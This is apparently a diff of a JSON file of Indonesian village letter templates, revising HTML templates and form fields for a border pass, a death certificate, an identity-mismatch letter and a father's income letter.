        \u00a0<\/td>\r\n4.<\/td>\r\nTempat<\/td>\r\n:<\/td>\r\n[TempatlahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTanggal Lahir<\/td>\r\n:<\/td>\r\n[TanggallahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\na.<\/td>\r\n:<\/td>\r\n[Sebutan_desA] [Nama_desA] : [Kode_desA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0 \u00a0 \u00a0<\/td>\r\nb.<\/td>\r\n:<\/td>\r\n[Sebutan_kecamataN] [Nama_kecamataN] : [Kode_kecamataN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nStatus Perkawinan<\/td>\r\n:<\/td>\r\n[Status_kawiN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nNomor Kartu Keluarga<\/td>\r\n:<\/td>\r\n[No_kK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nNama Kepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nPengikut \/ Anggota Keluarga **)<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Pengikut_suraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \r\n

        Surat permohonan ini dipergunakan untuk pengurusan penerbitan Buku Pas Lintas Batas.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Mengetahui :\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        [Sebutan_camaT] [Nama_kecamataN]<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [Nama_kepala_camaT]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        [Nip_kepala_camaT]<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Surat Pengantar ini rangkap 3 (tiga) :
        <\/span>Lembar 1 : untuk Kantor Imigrasi di Pos Lintas Batas;
        Lembar 2 : untuk Arsip Kecamatan;<\/span>
        Lembar 3 : untuk Arsip Desa\/Kelurahan
        *) diisi oleh petugas<\/strong>
        **) Hanya untuk anak dibawah 18 tahun atau belum memilki KTP dan terdaftar dalam Kartu Keluarga (KK) Pemohon (Pemohon sebagai orang tua atau wali)<\/strong>
        <\/span>

        <\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": null, + ], "orientasi": "Potrait", "ukuran": "F4", "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", @@ -4788,10 +4709,10 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan Lahir Mati", - "url_surat": "surat-keterangan-lahir-mati", - "kode_surat": "S-22", - "lampiran": null, + "nama": "Keterangan Kematian", + "url_surat": "surat-keterangan-kematian", + "kode_surat": "S-21", + "lampiran": "F-2.01", "kunci": false, "favorit": false, "jenis": "3", @@ -4802,7 +4723,8 @@ "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa seorang ibu :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Telah lahir bayi dalam keadaan mati, setelah dikandungannya selama [Form_lama_kandungaN] bulan:<\/p>\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nPada hari, tanggal<\/td>\r\n:<\/td>\r\n[Form_harI], [Form_tanggaL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nDi<\/td>\r\n:<\/td>\r\n[Form_tempat_matI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Surat keterangan ini dibuat berdasarkan keterangan pelapor:<\/p>\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nHubungan dgn yang lahir mati<\/td>\r\n:<\/td>\r\n[Form_hubungaN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \u00a0<\/div>", + "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Telah meninggal dunia pada:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nHari \/ Tanggal \/ Jam<\/td>\r\n:<\/td>\r\n[Hari_kematiaN], [Tanggal_kematiaN], [Jam_kematiaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nBertempat di<\/td>\r\n:<\/td>\r\n[Tempat_kematiaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nPenyebab Kematian<\/td>\r\n:<\/td>\r\n[Penyebab_kematiaN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Surat keterangan ini dibuat berdasarkan keterangan pelapor:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik_pelapoR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nTanggal Lahir<\/td>\r\n:<\/td>\r\n[Tanggallahir_pelapoR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n14.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_pelapoR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n15.<\/td>\r\nHubungan dengan yang mati<\/td>\r\n:<\/td>\r\n[Form_hubungan_pelapor_dengan_yang_matI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -4814,6 +4736,32 @@ "2" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "data_orang_tua": "1", + "data_pasangan": "0", + "judul": "Jenazah", + "label": "Identitas Jenazah", + "hubungan": null + }, + "Pelapor": { + "sumber": "1", + "data": [ + "1", + "3" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -4822,29 +4770,68 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Lahir Mati", - "label": "Identitas Lahir Mati", - "info": "", - "sebagai": 1, - "hubungan": null + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Pelapor", + "label": "Pelapor", + "hubungan": "" }, - "pelapor": { - "sumber": 1, + "Saksi_I": { + "sumber": "1", "data": [ "1", - "2" + "3" ], "sex": "", "status_dasar": [ - "1" + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Saksi 1", + "label": "Saksi 1", + "hubungan": "" + }, + "Saksi_II": { + "sumber": "1", + "data": [ + "1", + "3" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -4853,82 +4840,39 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "judul": "Pelapor", - "label": "Identitas Pelapor", - "info": "", - "sebagai": 2, + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Saksi 2", + "label": "Saksi 2", "hubungan": "" } }, "kode_isian": [ { + "kategori": "Pelapor", "tipe": "text", - "kode": "[form_hari]", - "nama": "Hari", - "deskripsi": "Hari Mati", - "required": "1", - "atribut": "class=\"hari\" readonly", - "pilihan": null, - "refrensi": null, - "kolom": "2", - "label": "Hari \/ Tanggal Mati", - "kaitkan_kode": "" - }, - { - "tipe": "date", - "kode": "[form_tanggal]", - "nama": "Tanggal", - "deskripsi": "Tanggal Mati", - "required": "1", - "atribut": "class=\"datepicker data_hari\"", - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "Hari \/ Tanggal Mati", - "kaitkan_kode": "" - }, - { - "tipe": "text", - "kode": "[form_tempat_mati]", - "nama": "Tempat Mati", - "deskripsi": "Tempat Mati", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "tipe": "number", - "kode": "[form_lama_kandungan]", - "nama": "Lama Kandungan", - "deskripsi": "Lama di Kandungan (Bulan)", - "required": "1", - "atribut": "min=\"1\"", - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "Lama di Kandungan (Bulan)", - "kaitkan_kode": "" - }, - { - "kategori": "pelapor", - "tipe": "text", - "kode": "[form_hubungan]", - "nama": "Hubungan", - "deskripsi": "Hubungan Dengan Yang Lahir Mati", + "kode": "[form_hubungan_pelapor_dengan_yang_mati]", + "nama": "Hubungan pelapor dengan yang mati", + "deskripsi": "Hubungan pelapor dengan yang mati", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "Hubungan Dengan Yang Lahir Mati", + "kolom": "12", + "label": "Hubungan pelapor dengan yang mati", "kaitkan_kode": "" } ], @@ -4942,9 +4886,9 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan Domisili", - "url_surat": "surat-keterangan-domisili", - "kode_surat": "S-41", + "nama": "Keterangan Beda Identitas KIS", + "url_surat": "surat-keterangan-beda-identitas-kis", + "kode_surat": "S-38", "lampiran": null, "kunci": false, "favorit": false, @@ -4956,19 +4900,16 @@ "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7..<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut di atas adalah benar-benar warga kami yang bertempat tinggal di [AlamaT] [Sebutan_desa] [NaMa_desa] dan tercatat dengan No. KK : [No_kK] Kepala Keluarga : [Kepala_kK].<\/p>\r\n


        Surat Keterangan ini dibuat untuk Keperluan : [Form_keperluaN]<\/strong>

        <\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template": "

        [JUdul_surat]<\/span><\/h3>\r\n

        Nomor : [Format_nomor_suraT]


        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        [Pengikut_kiS]<\/p>\r\n

        Nama tersebut di atas merupakan identitas yang tertera pada KTP dan Kartu Keluarga (KK) sedangkan pada Kartu Indonesia Sehat (KIS) tertulis :

        [Pengikut_kartu_kiS]

        <\/p>\r\n

        Menurut pengamatan dan pengetahuan kami hingga saat dikeluarkannya surat keterangan ini bahwa yang namanya di atas merupakan orang yang satu \/ sama.<\/p>\r\n

        Surat keterangan ini dibuat untuk keperluan : [Form_keperluaN]<\/strong>.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dapat dipergunakan sebagaimana mestinya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, "data": [ - "1", - "3" + "1" ], "sex": "", "status_dasar": [ - "1" - ], - "kk_level": [ "1", "2", "3", @@ -4977,31 +4918,41 @@ "6", "7", "8", - "9", - "10", - "11" + "9" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 ], "data_orang_tua": "0", "data_pasangan": "0", - "judul": "Pemohon", + "judul": "Keterangan Pemohon", "label": "Keterangan Pemohon", "info": "", - "sebagai": 1, "hubungan": null } }, "kode_isian": [ { - "tipe": "textarea", + "tipe": "text", "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", - "required": "1", + "nama": "keperluan", + "deskripsi": "keperluan", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "", + "label": "Keperluan", "kaitkan_kode": "" } ], @@ -5015,9 +4966,9 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Permohonan Cerai", - "url_surat": "surat-permohonan-cerai", - "kode_surat": "S-34", + "nama": "Keterangan Penghasilan Ayah", + "url_surat": "surat-keterangan-penghasilan-ayah", + "kode_surat": "S-44", "lampiran": null, "kunci": false, "favorit": false, @@ -5029,7 +4980,8 @@ "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "\r\n\r\n\r\n\r\n
        Nomor<\/td>\r\n:<\/td>\r\n[Format_nomor_suraT]<\/td>\r\n<\/tr>\r\n
        Perihal<\/td>\r\n:<\/td>\r\n\r\n

        [JUdul_surat]<\/span><\/h4>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


        Kepada Yth

        Kepala Pengadilan Agama
        [SeButan_kabupaten] [NaMa_kabupaten]

        <\/p>\r\n

        Dengan ini kami kirimkan dengan hormat permohonan cerai dari pasangan suami istri :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nA. SUAMI<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Nama]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[Agama]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nB. ISTRI<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Klg2_nama]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Klg2_nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Klg2_ttL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Klg2_pekerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[Klg2_agama]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [Klg2_alamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Adapun sebab-sebab menurut keterangan sebagai berikut :<\/p>\r\n

        [Form_sebab_sebaB]

        <\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NaMa_ayah]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL_ayah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[JeNis_kelamin_ayah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma_ayah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan_ayah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara_ayah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlAmat_ayah] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang yang tersebut di atas adalah benar-benar warga kami yang bertempat tinggal di [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten] dan tercatat dalam No. KK : [No_kK] dengan NIK [Nik_ayaH] Kepala Keluarga : [Kepala_kK] dan menurut sepengetahuan kami memang benar berpenghasilan rata-rata [Form_penghasilan_ayaH] ([TerbilanG][[Form_penghasilan_ayaH]]) \/ Perbulan.

        <\/p>\r\n

